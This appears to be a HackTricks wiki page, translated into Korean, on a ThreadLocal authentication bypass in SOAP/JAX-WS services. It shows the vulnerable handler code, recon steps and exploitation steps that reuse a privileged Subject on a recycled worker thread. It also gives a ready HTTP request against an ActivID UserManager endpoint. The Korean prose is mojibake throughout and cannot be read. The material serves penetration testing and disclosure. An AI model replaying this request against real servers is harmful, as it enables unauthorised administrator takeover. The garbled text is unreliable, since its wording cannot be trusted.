SOAP/JAX-WS ThreadLocal Authentication Bypass
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์์ฝ
- ์ผ๋ถ ๋ฏธ๋ค์จ์ด ์ฒด์ธ์ ์ธ์ฆ๋
Subject/Principal์ staticThreadLocal์ ์ ์ฅํ๊ณ , ๋ ์ ์ ์ธ SOAP ํค๋๊ฐ ๋์ฐฉํ ๋๋ง ์ด๋ฅผ ๊ฐฑ์ ํฉ๋๋ค. - WebLogic/JBoss/GlassFish๋ ์์ปค ์ค๋ ๋๋ฅผ ์ฌ์ฌ์ฉํ๊ธฐ ๋๋ฌธ์, ํด๋น ํค๋๋ฅผ ์๋ตํ๋ฉด ๊ทธ ์ค๋ ๋๊ฐ ์ฒ๋ฆฌํ๋ ๋ง์ง๋ง ํน๊ถ
Subject๊ฐ ์๋ฌด๋ฐ ๊ฒฝ๊ณ ์์ด ์ฌ์ฌ์ฉ๋ฉ๋๋ค. - ์ทจ์ฝํ ์๋ํฌ์ธํธ๋ฅผ ํค๋ ์์ด ์ ํ์ํ๋ SOAP ๋ฐ๋๋ก ๋ฐ๋ณต ๊ณต๊ฒฉํ์ฌ ์ฌ์ฌ์ฉ๋ ์ค๋ ๋๊ฐ ํ์ทจ๋ ๊ด๋ฆฌ์ ์ปจํ ์คํธ๋ฅผ ๋ถ์ฌํ ๋๊น์ง ์๋ํ์ธ์.
๊ทผ๋ณธ ์์ธ
๋ค์๊ณผ ์ ์ฌํ ํธ๋ค๋ฌ๋ ์ปค์คํ ํค๋๊ฐ ์กด์ฌํ ๋๋ง ์ค๋ ๋ ๋ก์ปฌ ์๋ณ์๋ฅผ ๋ฎ์ด์ฐ๋ฏ๋ก ์ด์ ์์ฒญ์ ์ปจํ ์คํธ๊ฐ ๋จ์ ์๊ฒ ๋ฉ๋๋ค:
public boolean handleMessage(SOAPMessageContext ctx) {
if (!outbound) {
SOAPHeader hdr = ctx.getMessage().getSOAPPart().getEnvelope().getHeader();
SOAPHeaderElement e = findHeader(hdr, subjectName);
if (e != null) {
SubjectHolder.setSubject(unmarshal(e));
}
}
return true;
}
Recon
- reverse proxy / routing rules์ ์ด๊ฑฐํ์ฌ ์จ๊ฒจ์ง SOAP ํธ๋ฆฌ๋ฅผ ์ฐพ์๋ผ. ์ด ํธ๋ฆฌ๋
?wsdl๋ฅผ ์ฐจ๋จํ์ง๋ง POSTs๋ฅผ ํ์ฉํ ์ ์๋ค(์ด๋ฅผ 80,443 - Pentesting Web Methodology์ ํ๋ฆ๊ณผ ํจ๊ป ๋งคํํ๋ผ). - EAR/WAR/EJB ์ํฐํฉํธ๋ฅผ ํ๊ณ (
unzip *.ear)application.xml,web.xml,@WebServiceannotations, ๊ทธ๋ฆฌ๊ณ handler chains(์:LoginHandlerChain.xml)์ ๊ฒ์ฌํ์ฌ handler class, SOAP header QName, ๋ฐ backing EJB ์ด๋ฆ์ ๋ฐํ๋ผ. - ๋ฉํ๋ฐ์ดํฐ๊ฐ ์์ผ๋ฉด
ServiceName?wsdl๊ฒฝ๋ก๋ฅผ brute-force ํ๊ฑฐ๋ ์์๋ก lab proxies๋ฅผ ์ํํ ํ, ๋ณต๊ตฌํ WSDL์ Burp Suite Wsdler์ ์ํฌํธํด baseline envelopes๋ฅผ ์์ฑํ๋ผ. - handler ์์ค์์
ThreadLocal๋ก ์ ์ง๋๋ ๊ฐ์ฒด๋ค(์:SubjectHolder.setSubject())์ด ์ธ์ฆ ํค๋๊ฐ ์๊ฑฐ๋ ์๋ชป๋์์ ๋ ์ ํ clear๋์ง ์๋์ง ๊ฒํ ํ๋ผ.
Exploitation
- ์ ์ ์๋ต ์ฝ๋์ invalid token์ ๋ํด ์ด๋ค ์ค๋ฅ๊ฐ ๋ฐํ๋๋์ง ํ์ ํ๋ ค๋ฉด proprietary header๋ฅผ ํฌํจํ ์ ํจํ ์์ฒญ์ ์ ์กํ๋ผ.
- ๋์ผํ SOAP body๋ฅผ ํค๋ ์์ด ๋ค์ ์ ์กํ๋ผ. XML์ well-formedํ๊ฒ ์ ์งํ๊ณ required namespaces๋ฅผ ์ค์ํ์ฌ handler๊ฐ ์ ์์ ์ผ๋ก ์ข ๋ฃ๋๋๋ก ํ๋ผ.
- ์์ฒญ์ ๋ฐ๋ณต ์ ์กํ๋ผ; ์ด์ ์ privileged action์ ์คํํ๋ ์ค๋ ๋์ ๋๋ฌํ๋ฉด ์ฌ์ฌ์ฉ๋
Subject๊ฐ user ๋๋ credential managers์ ๊ฐ์ ๋ณดํธ๋ ์์ ์ ํด์ ํ๋ค.
POST /ac-iasp-backend-jaxws/UserManager HTTP/1.1
Host: target
Content-Type: text/xml;charset=UTF-8
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:jax="http://jaxws.user.frontend.iasp.service.actividentity.com">
<soapenv:Header/>
<soapenv:Body>
<jax:findUserIds>
<arg0></arg0>
<arg1>spl*</arg1>
</jax:findUserIds>
</soapenv:Body>
</soapenv:Envelope>
๋ฒ๊ทธ ๊ฒ์ฆ
- JDWP (
-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n) ๋๋ ์ ์ฌํ ๋๋ฒ๊น ํ ์ ์ฐ๊ฒฐํ์ฌ ๊ฐ ํธ์ถ ์ ํ์ThreadLocal๋ด์ฉ์ ๊ด์ฐฐํ๊ณ , ์ธ์ฆ๋์ง ์์ ์์ฒญ์ด ์ด์ ๊ด๋ฆฌ์Subject๋ฅผ ์์๋ฐ์๋์ง ํ์ธํ์ธ์.
์ฐธ๊ณ ์๋ฃ
- Synacktiv โ ActivID administrator account takeover: the story behind HID-PSA-2025-002
- PortSwigger โ Wsdler (WSDL parser) extension
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


